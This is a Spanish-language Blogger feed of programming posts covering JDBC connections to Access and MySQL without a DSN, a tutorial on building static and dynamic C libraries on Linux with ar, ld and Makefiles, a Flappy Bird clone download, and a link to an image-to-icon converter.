waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com2tag:blogger.com,1999:blog-360011364486521176.post-8957998142276828612014-06-07T22:26:00.000+02:002014-06-07T22:26:38.646+02:00Conectar a base de datos Access o MySql en Java sin DSN<h1 style="background-color: white; color: #333333; font-family: 'Trebuchet MS', 'Lucida Grande', Verdana, Arial, sans-serif; font-size: 1.6em; margin: 30px 0px 0px;">
<a href="http://www.barberoweb.com/bytes/2011/04/13/conectar-a-base-de-datos-en-java-sin-dsn/" rel="bookmark" style="color: #333333; text-decoration: none;" title="Enlace: Conectar a base de datos en Java sin DSN">Conectar a base de datos en Java sin DSN</a></h1>
<div class="entry" style="background-color: white; color: #333333; font-family: 'Lucida Grande', Verdana, Arial, sans-serif; font-size: 13px; line-height: 1.4em;">
Muchas veces para posibilitar usar nuestra aplicación java en distintos equipos, se nos hace engorroso crear DSN (Data Source Name) en todos ellos.<br />
<br />
Hay que decir que es posible crear conexiones a base de datos desde Java sin tener que crear los nombres de orígenes de datos (DSN):<br />
<br />
<strong>Acceso a base de datos Access desde Java sin DSN</strong>:<br />
<blockquote style="border-left-color: rgb(221, 221, 221); border-left-style: solid; border-left-width: 5px; margin: 15px 30px 0px 10px; padding-left: 10px;">
<code style="font-family: 'Courier New', Courier, Fixed; line-height: normal;">Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");<br />String myDB ="jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=c:/basedatos.mdb";<br />Connection conn = DriverManager.getConnection(myDB,"","");</code></blockquote>
<br />
<strong>Acceso a base de datos MySql desde Java sin DSN</strong>:<br />
<blockquote style="border-left-color: rgb(221, 221, 221); border-left-style: solid; border-left-width: 5px; margin: 15px 30px 0px 10px; padding-left: 10px;">
<code style="font-family: 'Courier New', Courier, Fixed; line-height: normal;">Class.forName("com.mysql.jdbc.Driver");<br />Connection conn = DriverManager.getConnection ("jdbc:mysql://localhost/basedatos", "usuario", "contraseña");</code></blockquote>
<br />
Una vez hecha la conexión a base de datos, podremos operar con las tablas de la misma sin tener que crear los DSN en ninguno de los equipos en los que vayamos a utilizar la aplicación.</div>
waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com0tag:blogger.com,1999:blog-360011364486521176.post-31692007395194288192014-05-18T12:12:00.001+02:002014-05-18T12:12:44.008+02:00Librerías estáticas y dinámicas Java y C en Linux<h3 style="background-color: white; font-family: Arial; font-size: 24px; line-height: 21px; margin-top: 0px; padding: 10px;">
Librerías estáticas y dinámicas</h3>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Según vamos haciendo programas de ordenador, nos damos cuenta que algunas partes del código se utilizan en muchos de ellos. Por ejemplo, podemos tener varios programas que utilizan números complejos y las funciones de suma, resta, etc son comunes. También es posible, por ejemplo, que nos guste hacer juegos, y nos damos cuenta que estamos repitiendo una y otra vez el código para mover una imagen (un marcianito o a Lara Croft) por la pantalla.</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Sería estupendo poder meter esas funciones en un directorio separado de los programas concretos y tenerlas ya compiladas, de forma que podamos usarlas siempre que queramos. Las ventajas enormes de esto son:</div>
<ul style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px;">
<li>No tener que volver a escribir el código (o hacer copy-paste).</li>
<li>Nos ahorraremos el tiempo de compilar cada vez ese código que ya está compilado. Además, ya sabemos que mientras hacemos un programa, probamos y corregimos, hay que compilar entre muchas y "más muchas" veces.</li>
<li>El código ya compilado estará probado y será fiable. No las primeras veces, pero sí cuando ya lo hayamos usado en 200 programas distintos y le hayamos ido corrigiendo los errores.</li>
</ul>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
La forma de hacer esto es hacer librerías. Una librería son una o más funciones que tenemos ya compiladas y preparadas para ser utilizadas en cualquier programa que hagamos. Hay que tener el suficiente ojo cuando las hacemos como para no meter ninguna dependencia de algo concreto de nuestro programa. Por ejemplo, si hacemos nuestra función de mover la imagen de Lara Croft, tendremos que hacer la función de forma que admita cualquier imagen, ya que no nos pegaría nada Lara Croft dando saltos en un juego estilo "space invaders".</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
<br /></div>
<h4 style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding: 10px;">
Cómo tenemos que organizar nuestro código</h4>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Para poder poner nuestro código en una librería, necesitamos organizarlo de la siguiente manera:</div>
<ul style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px;">
<li>Uno o más ficheros fuente .c con el código de nuestras funciones.</li>
<li>Uno o más ficheros de cabecera .h con los tipos (typedefs, structs y enums) y prototipos de las funciones que queramos que se puedan utilizar.</li>
</ul>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Como siempre, vamos a hacer un ejemplo. Los ficheros serían estos:</div>
<div class="nombrefichero" style="background-color: #eeeeee; font-family: courier; font-size: 14px; line-height: 21px; margin: 0px 10px; padding: 5px;">
libreria1.h</div>
<div class="codigo" style="background-color: #eeeeee; font-family: courier; font-size: 14px; line-height: 21px; margin: 0px 10px; padding: 5px;">
#ifndef _LIBRERIA_1_H<br />#define _LIBRERIA_1_H<br />int suma (int a, int b);<br />int resta (int a, int b);<br />#endif</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
</div>
<div class="nombrefichero" style="background-color: #eeeeee; font-family: courier; font-size: 14px; line-height: 21px; margin: 0px 10px; padding: 5px;">
libreria1.c</div>
<div class="codigo" style="background-color: #eeeeee; font-family: courier; font-size: 14px; line-height: 21px; margin: 0px 10px; padding: 5px;">
int suma (int a, int b)<br />{<br /> return a+b;<br />}<br />int resta (int a, int b)<br />{<br /> return a-b;<br />}</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Es un fichero con un par de funciones simples de suma() y resta().</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Un detalle importante a tener en cuenta, son los <strong>#define</strong> del fichero de cabecera (.h). Al hacer una librería, no sabemos en qué futuros programas la vamos a utilizar ni cómo estarán organizados. Supongamos en un futuro programa que hay un fichero de cabecera <strong>fichero1.h</strong> que hace <strong>#include</strong> del nuestro. Imaginemos que hay también un <strong>fichero2.</strong>h que también hace <strong>#include</strong> del nuestro. Finalmente, con un pequeño esfuerzo más, imaginemos que hay un tercer <strong>fichero3.c</strong> que hace<strong>#include</strong> de <strong>fichero1.h</strong> y <strong>fichero2.h</strong>, es decir, más o menos lo siguiente:</div>
<div class="nombrefichero" style="background-color: #eeeeee; font-family: courier; font-size: 14px; line-height: 21px; margin: 0px 10px; padding: 5px;">
fichero1.h</div>
<div class="codigo" style="background-color: #eeeeee; font-family: courier; font-size: 14px; line-height: 21px; margin: 0px 10px; padding: 5px;">
#include <libreria1.h><br />...</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
</div>
<div class="nombrefichero" style="background-color: #eeeeee; font-family: courier; font-size: 14px; line-height: 21px; margin: 0px 10px; padding: 5px;">
fichero2.h</div>
<div class="codigo" style="background-color: #eeeeee; font-family: courier; font-size: 14px; line-height: 21px; margin: 0px 10px; padding: 5px;">
#include <libreria1.h><br />...</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
</div>
<div class="nombrefichero" style="background-color: #eeeeee; font-family: courier; font-size: 14px; line-height: 21px; margin: 0px 10px; padding: 5px;">
fichero3.c</div>
<div class="codigo" style="background-color: #eeeeee; font-family: courier; font-size: 14px; line-height: 21px; margin: 0px 10px; padding: 5px;">
#include <fichero1.h><br />#include <fichero2.h><br />...</div>
<div style="background-color: white; clear: left; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Cuando compilemos <strong>fichero3.c</strong>, dependiendo de lo que haya definido en <strong>libreria1.h</strong>, obtendremos un error. El problema es que al incluir <strong>fichero1.h</strong>, se define todo lo que haya en ese fichero, incluido lo de <strong>libreria1.h</strong>. Cuando se incluye <strong>fichero2.h</strong>, se vuelve a intentar definir lo contenido en <strong>libreria1.h</strong>, y se obtiene un error de que esas definiciones están definidas dos veces.</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
La forma de evitar este problema, es meter todas las definiciones dentro de un bloque <strong>#ifndef - #endif</strong>, con el nombre (<strong>_LIBRERIA_1_H</strong> en el ejemplo) que más nos guste y distinto para cada uno de nuestros ficheros de cabecera. Es habitual poner este nombre precedido de _, acabado en _H y que coincida con el nombre del fichero de cabecera, pero en mayúsculas.</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Dentro del bloque <strong>#ifndef - #endif</strong>, hacemos un <strong>#define</strong> de ese nombre (no hace falta darle ningún valor, basta con que esté definido) y luego definimos todos nuestros tipos y prototipos de funciones.</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Cuando incluyamos este fichero por primera vez, <strong>_LIBRERIA_1_H</strong> no estará definido, así que se entrará dentro del bloque <strong>#ifndef - #endif</strong> y se definirán todos los tipos y prototipos de funciones, incluido el mismo <strong>_LIBRERIA_1_H</strong>. Cuando lo incluyamos por segunda vez, <strong>_LIBRERIA_1_H</strong> ya estará definido (de la inclusión anterior), por lo que no se entrará en el bloque <strong>#ifndef - #endif</strong>, y no se redefinirá nada por segunda vez.</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Es buena costumbre hacer esto con todos nuestros .h, independientemente de que sean o no para librerías. Si te fijas en algún .h del sistema verás que tienes este tipo de cosas hasta aburrir. Por ejemplo, en <strong>/usr/include/stdio.h</strong>, lo primero que hay después de los comentarios, es un <strong>#ifndef _STDIO_H</strong>.</div>
<h4 style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding: 10px;">
Librerias estáticas y dinámicas</h4>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
En linux podemos hacer dos tipos de librerías: estáticas y dinámicas.</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
<b>Una librería estática</b> es una librería que "se copia" en nuestro programa cuando lo compilamos. Una vez que tenemos el ejecutable de nuestro programa, la librería no sirve para nada (es un decir, sirve para otros futuros proyectos). Podríamos borrarla y nuestro programa seguiría funcionando, ya que tiene copia de todo lo que necesita. Sólo se copia aquella parte de la librería que se necesite. Por ejemplo, si la librería tiene dos funciones y nuestro programa sólo llama a una, sólo se copia esa función.</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
<b>Una librería dinámica</b> NO se copia en nuestro programa al compilarlo. Cuando tengamos nuestro ejecutable y lo estemos ejecutando, cada vez que el código necesite algo de la librería, irá a buscarlo a ésta. Si borramos la librería, nuestro programa dará un error de que no la encuentra.</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
¿Cuáles son las ventajas e inconvenientes de cada uno de estos tipos de librerías?</div>
<ul style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px;">
<li>Un programa compilado con librerías estáticas es más grande, ya que se hace copia de todo lo que necesita.</li>
<li>Un programa compilado con librerías estáticas se puede llevar a otro ordenador sin necesidad de llevarse las librerías.</li>
<li>Un programa compilado con librerías estáticas es, en principio, más rápido en ejecución. Cuando llama a una función de la librería, la tiene en su código y no tiene que ir a leer el fichero de la librería dinámica para encontrar la función y ejecutarla.</li>
<li>Si cambiamos una librería estática, a los ejecutables no les afecta. Si cambiamos una dinámica, los ejecutables se ven afectados. Esto es una ventaja si hemos cambiado la librería para corregir un error (se corrige automáticamente en todos los ejecutables), pero es un inconveniente si tocar eso nos hace cambiar los ejecutables (por ejemplo, hemos añadido un parámetro más a una función de la librería, los ejecutables ya hechos dejan de funcionar).</li>
</ul>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
¿Qué tipo de librería uso entonces?</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Es como siempre una cuestión de compromiso entre las ventajas y los inconvenientes. Para programas no muy grandes y por simplicidad, yo suelo usar librerías estáticas. Las dinámicas están bien para programas enormes o para librerías del sistema, que como están en todos los ordenadores con linux, no es necesario andar llevándoselas de un lado a otro.</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
En unix las librerías estáticas suelen llamarse <b>lib</b><i>nombre</i><b>.a</b> y las dinámicas <b>lib</b><i>nombre</i><b>.so</b>, donde <i>nombre</i> es el nombre de nuestra librería.</div>
<h4 style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding: 10px;">
Compilar y enlazar con librerías estáticas</h4>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Una vez que tenemos nuestro código, para conseguir una librería estática debemos realizar los siguientes pasos:</div>
<ul style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px;">
<li>Obtener los ficheros objeto (.o) de todos nuestros fuentes (.c). Para ello se compilan con <strong>cc -c fuente.c -o fuente.o</strong>. La opción -c le dice al compilador que no cree un ejecutable, sino sólo un fichero objeto. Aquí pongo el compilador <strong>cc</strong>, porque es el que he usado para el ejemplo, pero puede usarse <strong>gcc</strong>, o el <strong>g++</strong> (para C++) o uno de fortran, pascal, etc.</li>
<li>Crear la librería (.a). Para ello se usa el comando <strong>ar</strong> con los siguientes parámetros: <strong>ar -rv libnombre.a fuente1.o fuente2.o ...</strong> La opción -r le dice al comando <strong>ar</strong>que tiene que insertar (o reemplazar si ya están dentro) los ficheros objeto en la librería. La opción -v es "verbose", para que muestre información mientras está haciendo las cosas. A continuación se ponen todos los fichero objeto que deseemos. <strong>ar</strong> es en realidad un comando mucho más genérico que todo esto y sirve para empaquetar cualquier tipo de fichero (no sólo ficheros objeto). Tiene además opciones para ver qué ficheros hay dentro, borrar algunos de ellos, reemplazarlos, etc.</li>
</ul>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Hacer todo este proceso a mano cada vez puede ser un poco pesado. Lo habitual es hacer un fichero de nombre <strong>Makefile</strong> en el mismo directorio donde estén los fuentes de la librería y utilizar <strong>make</strong> para compilarla. Si no sabes de qué estoy hablando, échale un ojo a la <a href="http://www.chuidiang.com/clinux/herramientas/makefile.php" style="color: #0066b3;">paginilla de los makefiles</a>. Afortunádamente, las reglas implícitas de make ya saben hacer librerías estáticas. El fichero Makefile quedaría tan sencillo como esto:</div>
<div class="nombrefichero" style="background-color: #eeeeee; font-family: courier; font-size: 14px; line-height: 21px; margin: 0px 10px; padding: 5px;">
Makefile</div>
<div class="codigo" style="background-color: #eeeeee; font-family: courier; font-size: 14px; line-height: 21px; margin: 0px 10px; padding: 5px;">
CFLAGS=-I<path1> -I<path2> ...<br />libnombre.a: libnombre.a (objeto1.o ojbeto2.o ...)<br /> </div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
En <strong>CLAGS</strong> debes poner tantas opciones -I<path> como directorios con ficheros .h tengas que le hagan falta a los fuente de la librería para compilar.</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
La librería depende de los ficheros objetos que hay dentro de ella. Eso se pone poniendo el nombre de la librería y entre paréntesis los ficheros objeto. Hay algunas verisones de make que sólo admiten un fichero objeto dentro de los paréntesis. Debe ponerse entonces</div>
<div class="codigo" style="background-color: #eeeeee; font-family: courier; font-size: 14px; line-height: 21px; margin-left: 10px; margin-right: 10px; padding: 5px;">
libnombre.a: libnombre.a(objeto1.o) libnombre.a(objeto2.o) ...</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Ya tenemos la librería. Ahora, al compilar nuestro programa con el compilador, debemos decirle dónde están las librerías y cuales son. La orden de compilación quedaría entonces</div>
<div class="codigo" style="background-color: #eeeeee; font-family: courier; font-size: 14px; line-height: 21px; margin-left: 10px; margin-right: 10px; padding: 5px;">
$ cc -o miprograma miprograma.c -I<path1> -I<path2> ... -L<path1> -L<path2> ... -llibreria1 -llibreria2</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Los <strong>-I<path></strong> son para indicar dónde están los ficheros de cabecera necesarios para la compilación (tanto propios del programa como los de nuestras librerías).</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Los <strong>-L<path></strong> son para indicar los directorios en los que se encuentran las librerías.</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Los <strong>-llibreria</strong> son para indicar que se debe coger esa librería. En el comando sólo ponemos "librería". El prefijo lib y la extensión .a ya la pone automáticamente el compilador.</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Hay un detalle importante a tener en cuenta. Las librerías deben ponerse de forma que primero esté la de más alto nivel y al final, la de más bajo nivel. Es decir, tal cual lo tenemos en el ejemplo, libreria1 puede usar funciones de libreria2, pero no al revés. El motivo es que al compilar se van leyendo las librerías consecutivamente y cargando de cada una de ellas sólo lo necesario. Vamos a verlo con un ejemplo</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Supongamos que miprograma.o llama a la funcion1 de libreria1 y esta funcion1 llama a funcion2 de libreria2. El compilador lee miprograma.o. Como este necesita funcion1, la apunta como "necesaria". Luego lee libreria1. Busca en las funciones necesarias, encuentra funcion1 y la carga. Como funcion1 llama a funcion2, apunta funcion2 como función necesaria. Luego lee libreria2 y como funcion2 es necesaria, la carga. Todo correcto.</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Supongamos ahora que le hemos dado la vuelta al orden, que hemos puesto -llibreria2 antes que -llibreria1. El compilador lee miprograma.c. Como este necesita funcion1, se apunta como "necesaria". Luego lee libreria2. Como funcion1 no es de esta libreria y no hay más funciones "necesarias" (hasta ahora), ignora libreria2 y no carga nada de ella. Luego lee libreria1, carga funcion1 y ve que esta necesita funcion2. Apunta funcion2 como necesaria pero ... ya se han acabado las librerias. Se obitiene un error de "linkado" en el que dice que "no encuentro funcion2".</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Esto nos dice también que tenemos que tener un cierto orden a la hora de diseñar librerías. Debemos hacerlas teniendo muy claro que unas pueden llamar a otras, pero no las otras a las unas, es decir, organizarlas como en un arbol. Las de arriba pueden llamar a funciones de las de abajo, pero no al revés.</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Existe una pequeña trampa, pero no es muy elegante. Consiste en poner la misma librería varias veces en varias posiciones. Si en el supuesto que no funcionaba hubiesemos puesto otra vez al final -llibreria2, habría compilado.</div>
<h4 style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding: 10px;">
Compilar y "enlazar" con librerías dinámicas</h4>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Para compilar los mismos ficheros, pero como librería dinámica, tenemos que seguir los siguientes pasos:</div>
<ul style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px;">
<li>Compilar los fuentes, igual que antes, para obtener los objetos.</li>
<li>Crear la librería con el comando <strong>ld</strong>. Las opciones para este comando serían <strong>ld -o liblibreria.so objeto1.o objeto2.o ... -shared</strong>. La opción -o liblibreria.so le indica el nombre que queremos dar a la librería. La opción -shared le indica que debe hacer una librería y no un ejecutable (opción por defecto). objeto1.o, objeto2.o ... son los ficheros objeto que queremos meter en la librería.</li>
</ul>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Igual que antes, hacer esto a mano puede ser pesado y se suele hacer un Makefile para compilar con make. Al igual que antes, si no sabes de que estoy hablando, ahí tienes la <a href="http://www.chuidiang.com/clinux/herramientas/makefile.php" style="color: #0066b3;">paginilla de los makes</a>. Desgraciadamente, las reglas implícitas no saben hacer librerías dinámicas (o, al menos, yo no he visto cómo), así que tenemos que trabajar un poco más en el Makefile. Quedaría algo así como:<br /> </div>
<div class="nombrefichero" style="background-color: #eeeeee; font-family: courier; font-size: 14px; line-height: 21px; margin: 0px 10px; padding: 5px;">
Makefile</div>
<div class="codigo" style="background-color: #eeeeee; font-family: courier; font-size: 14px; line-height: 21px; margin: 0px 10px; padding: 5px;">
liblibreria.so: objeto1.c objeto2.c ...<br /> cc -c -o objeto1.o objeto1.c<br /> cc -c -o objeto2.o objeto2.c<br /> ...<br /> ld -o liblibreria.so objeto1.o objeto2.o ... -shared<br /> rm objeto1.o objeto2.o ...</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
La librería depende de los fuentes. Se compilan para obtener los .o (habría que añadir además las opciones -I<path> que fueran necesarias), se construye la librería con ld y se borran los objetos generados. He hecho depender la librería de los fuentes para que se compile sólo si se cambia un fuente. Si la hago depender de los objetos, como al final los borro, siempre se recompilaría la librería.</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
El comando <strong>ld</strong> es más específico que <strong>ar</strong>, y no he encontrado opciones para modificar o borrar los objetos que hay dentro de la librería. No queda más remedio que construir la librería entera cada vez que se modifique algo.</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Una vez generada la librería, para enlazar con ella nuestro programa, hay que poner:</div>
<div class="codigo" style="background-color: #eeeeee; font-family: courier; font-size: 14px; line-height: 21px; margin-left: 10px; margin-right: 10px; padding: 5px;">
cc -o miprograma miprograma.c -I<path1> -I<path2> ... -L<path1> -L<path2> ... -Bdynamic -llibreria1 -llibreria2</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
El comando es igual que el anterior de las librerías estáticas con la excepción del -Bdynamic. Es bastante habitual generar los dos tipos de librería simultáneamente, con lo que es bastante normal encontrar de una misma librería su versión estática y su versión dinámica. Al compilar sin opción -Bdynamic puden pasar varias cosas:</div>
<ul style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px;">
<li>Existen liblibreria.a y liblibreria.so. Se coge por defecto liblibreria.a</li>
<li>Sólo existe una de ellas. Se coge la que existe.</li>
<li>No existe ninguna de ellas. Error.</li>
</ul>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
La opción <strong>-Bdynamic</strong> cambia el primer caso, haciendo que se coja liblibreria.so en vez de liblibreria.a. La opción -Bdynamic afecta a todas las librerías que van detrán en la línea de compilación. Para volver a cambiar, podemos poner -Bstatic en cualquier momento.</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Una vez compilado el ejecutable, nos falta un último paso. Hay que decirle al programa, mientras se está ejecutando, dónde están las librerías dinámicas, puesto que las va a ir a buscar cada vez que se llame a una función de ellas. Tenemos que definir la variable de entorno <strong>LD_LIBRARY_PATH</strong>, en la que ponemos todos los directorios donde haya librerías dinámicas de interés.</div>
<div class="codigo" style="background-color: #eeeeee; font-family: courier; font-size: 14px; line-height: 21px; margin-left: 10px; margin-right: 10px; padding: 5px;">
$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:<path1>:<path2>:<path3><br />$ export LD_LIBRARY_PATH</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
Siendo <path> los directorios en los que están las librerías dinámicas. Se ha puesto el <strong>$LD_LIBRARY_PATH</strong> pata mantener su valor anterior y añadirle los nuevos directorios.</div>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
¿Te acuerdas del ejemplo del principio con la suma?. Aquí están todos los fuentes para que puedas jugar con ellos.</div>
<ul style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px;">
<li><a href="http://www.chuidiang.com/clinux/herramientas/libreria/suma.c.txt" style="color: #0066b3;">suma.c</a>, <a href="http://www.chuidiang.com/clinux/herramientas/libreria/resta.c.txt" style="color: #0066b3;">resta.c</a> y <a href="http://www.chuidiang.com/clinux/herramientas/libreria/libreria1.h.txt" style="color: #0066b3;">libreria1.h</a> son los fuentes para la librería. Descárgalos y quítales la extensión .txt</li>
<li><a href="http://www.chuidiang.com/clinux/herramientas/libreria/principal.c.txt" style="color: #0066b3;">principal.c</a> es el fuente para el programa principal que usa las funciones de la librería. Descárgalo y quítale la extensión .txt</li>
<li><a href="http://www.chuidiang.com/clinux/herramientas/libreria/Makefile.txt" style="color: #0066b3;">Makefile</a> es un Makefile para generar todo. Descárgalo y quítale la extensión .txt. Si haces <strong>make p1</strong>, se generará la librería estática y se compilara <strong>principal.c</strong> con la librería estática para generar un ejecutable <strong>p1</strong>. Si haces <strong>make p2</strong>, se generará la librería dinámica y se compilará <strong>principal.c</strong> con la librería dinámica para generar un ejecutable <strong>p2</strong>.<br />Si ejecutas <strong>./p2</strong> a pelo no funcionará. Acuérdate de poner el directorio actual (en el que se supone está la librería dinámica) en la variable de entorno LD_LIBRARY_PATH.<br /><strong>$ LD_LIBRARY_PATH=.</strong><br /><strong>$ export LD_LIBRARY_PATH</strong><br /><strong>$ ./p2</strong></li>
</ul>
<div style="background-color: white; font-family: Arial; font-size: 14px; line-height: 21px; padding-left: 10px; padding-right: 10px;">
En el Makefile hay algunas cosillas que he añadido respecto a lo explicado y las comento. He puesto la opción de compilación -Wall para obtener todos los warning posibles. También hay un objetivo "clean", que sirve para borrar las librerías y los ejecutables.</div>
waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com0tag:blogger.com,1999:blog-360011364486521176.post-56363032649685011492014-04-28T23:22:00.001+02:002014-04-28T23:22:56.765+02:00Pobre Mono Beta 0.2 - Flappy Bird - Game MakerBuenas a tod@s,<br />
<br />
pues aquí os dejo un juego que estoy haciendo en Game Maker Studio llamado "Pobre Mono Volador". El juego es igual que el flappy bird, pero el protagonista es el mono del monkey ball.<br />
<br />
Desde aquí los podéis descargar:<br />
<br />
<a href="https://dl.dropboxusercontent.com/u/103466227/Pobre%20Mono-Beta-0.2.rar" rel="nofollow" style="background-color: white; color: #3b5998; cursor: pointer; font-family: Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 19.31999969482422px; text-decoration: none;" target="_blank">https://dl.dropboxusercontent.com/u/103466227/Pobre%20Mono-Beta-0.2.rar</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcoBbRfG97goOLm0CCEqdcz5slSTOr5mT8zdi9ODqeVe1dadOtse6FgFdwjcwteolo4v9s1F5PRw0smCMlMxzM4Qz1cC2q3zrFLlkyHEvDDtuF-R7DkhwjjKjLyOb-v7dgMHVPRcOMZzo/s1600/captura.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcoBbRfG97goOLm0CCEqdcz5slSTOr5mT8zdi9ODqeVe1dadOtse6FgFdwjcwteolo4v9s1F5PRw0smCMlMxzM4Qz1cC2q3zrFLlkyHEvDDtuF-R7DkhwjjKjLyOb-v7dgMHVPRcOMZzo/s1600/captura.png" height="400" width="237" /></a></div>
<div style="text-align: center;">
<br /></div>
<br />
Probadlo y mandarme los bugs.<br />
<br />
Gracias y Saludos.waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com0tag:blogger.com,1999:blog-360011364486521176.post-11401289466601212882014-04-28T21:42:00.001+02:002014-04-28T21:43:02.566+02:00Convertir imágenes en iconos online y elegir tamaño.Buenas a todos,
os dejo un enlace mediante el cual se puede seleccionar una imagen y os la devuelve en formato de icono (.ico), para poder utilizarlos en vuestra aplicaciones o diseños webs.<br />
<br />
<a href="http://imagen.online-convert.com/es/convertir-a-ico" target="_blank">http://imagen.online-convert.com/es/convertir-a-ico</a><br />
<br />
